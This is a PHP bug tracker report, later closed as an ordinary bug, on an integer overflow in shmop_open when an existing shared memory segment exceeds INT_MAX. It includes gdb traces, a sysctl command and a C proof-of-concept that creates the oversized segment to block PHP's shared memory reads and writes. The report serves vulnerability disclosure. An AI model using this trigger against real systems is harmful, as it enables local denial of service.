|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2020-03-29 15:03 UTC] cmb@php.net
-Package: *Extensibility Functions
+Package: Program Execution
-Assigned To:
+Assigned To: stas
[2020-03-29 15:03 UTC] cmb@php.net
[2020-03-29 16:41 UTC] bigshaq at wearehackerone dot com
-PHP Version: Irrelevant
+PHP Version: All versions
[2020-03-29 16:41 UTC] bigshaq at wearehackerone dot com
[2020-03-29 19:54 UTC] stas@php.net
-Type: Security
+Type: Bug
-Assigned To: stas
+Assigned To: cmb
[2020-03-29 19:54 UTC] stas@php.net
[2020-03-30 06:59 UTC] cmb@php.net
[2020-03-30 06:59 UTC] cmb@php.net
-Status: Assigned
+Status: Closed
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Oct 25 07:00:02 2025 UTC |
Description: ------------ When running the following PHP code: [PHP_SNIPPET] $shm_id = shmop_open(1337, "c", 0644, 100 ); [/PHP_SNIPPET] It creates an entry in the operating system's SHM with 100 bytes in it and an ID of 1337. BUT if this ID is already taken so it opens the existing one and the ``size`` changes from ``100`` to the original SHM size. If the original's SHM size is bigger than ``INT_MAX``, an integer overflow occurs. ## Analysis * 1st+2nd commands: showing the ``shm`` structure in memory. * 3rd+4th command: demonstrating the differences in the types (``shm->shm_segsz`` is actually ``size_t`` but gdb makes it easier by following the typedef of ``size_t``, so it shows ``unsigned int``) [GDB_SNIPPET] (gdb) ptype shm type = struct shmid_ds { struct ipc_perm shm_perm; size_t shm_segsz; __time_t shm_atime; long unsigned int __glibc_reserved1; __time_t shm_dtime; long unsigned int __glibc_reserved2; __time_t shm_ctime; long unsigned int __glibc_reserved3; __pid_t shm_cpid; __pid_t shm_lpid; shmatt_t shm_nattch; __syscall_ulong_t __glibc_reserved4; __syscall_ulong_t __glibc_reserved5; } (gdb) p shm $1 = {shm_perm = {__key = 1337, uid = 1000, gid = 1000, cuid = 1000, cgid = 1000, mode = 420, __pad1 = 0, __seq = 9, __pad2 = 0, __glibc_reserved1 = 0, __glibc_reserved2 = 0}, shm_segsz = 2147483652, shm_atime = 1585396834, __glibc_reserved1 = 0, shm_dtime = 1585398415, __glibc_reserved2 = 0, shm_ctime = 1585396778, __glibc_reserved3 = 0, shm_cpid = 12884, shm_lpid = 12897, shm_nattch = 0, __glibc_reserved4 = 0, __glibc_reserved5 = 0} (gdb) ptype shm->shm_segsz type = unsigned int (gdb) ptype shmop->size type = int [/GDB_SNIPPET] as can be seen below, right now, the size is what we init in the PHP code(=100) but an SHM entry with ID 1337 already exists, so the value that the operating system returned is ``INT_MAX+5``: [GDB_SNIPPET] (gdb) p shmop->size $2 = 100 (gdb) p shm.shm_segsz $3 = 2147483652 [/GDB_SNIPPET] stepping to the next operation (``shmop->size = shm.shm_segsz; ``): [GDB_SNIPPET] (gdb) next (gdb) p shmop->size $4 = -2147483644 [/GDB_SNIPPET] an integer overflow occurs. It happens when ``shm_segsz``(part of the kernel's shmid_ds structure) is greater than INT_MAX. Due to this overflow, other functions like ``shmop_read()`` and ``shmop_write()`` can not be called because the structure is malformed with a negative number. It prevents PHP from accessing the OS's shared memory to read/write data and can lead to Denial of Service. ## Steps to re-produce If your shmmax setting is lower than INT_MAX (it depends, some systems has lower number and some bigger by default), you can modify it by running: ``` $ sysctl -w kernel.shmmax=2147483652 ``` And then, create an SHM segment with a size bigger than INT_MAX (this is the malicious process that triggers the integer overflow): [C_LANG_SNIPPET] #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <errno.h> #define SHM_SIZE 2147483652 /* INT_MAX+5 */ int main(int argc, char *argv[]) { int shmid; key_t key; char *shm; char *s; key = 1337; shmid = shmget(key, SHM_SIZE, IPC_CREAT | 0644); // planting our overflow in the kernel's shmid_ds structure. if(shmid < 0) { printf("error getting SHM id\n\n"); puts(strerror(errno)); exit(1); } shm = shmat(shmid, NULL, 0); strcpy((char *)shm, "AAAAAAAAAAAAAAAAAAAA"); //example buffer return 0; } [/C_LANG_SNIPPET] * compile & run the above, * to make sure the SHM entry was created, run: [BASH_SNIPPET] shaq@ubuntu:~/Desktop/shm-php$ ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x00000539 327683 shaq 644 2147483652 0 [/BASH_SNIPPET] and then run the PHP Test script (provided below). Because of the negative number that we injected(from the malicious process) into PHP's ``shmop->size ``, read/write operations will print weird errors like "offset out of range" even if the offset is in range. This will make the content inside the SHM entry "un-touchable" by PHP even if you run the PHP Test script with high privileges. Test script: --------------- <?php $shm_id = shmop_open(1337, "c", 0644, 100 ); echo "opened SHM handle...\n"; echo shmop_write($shm_id, "BBBB", 1) ? "Success" : "Failed"; shmop_close($shm_id); ?> Expected result: ---------------- opened SHM handle... Success Actual result: -------------- opened SHM handle... PHP Warning: shmop_write(): offset out of range in /home/shaq/Desktop/shm-php/poc.php on line 4 Failed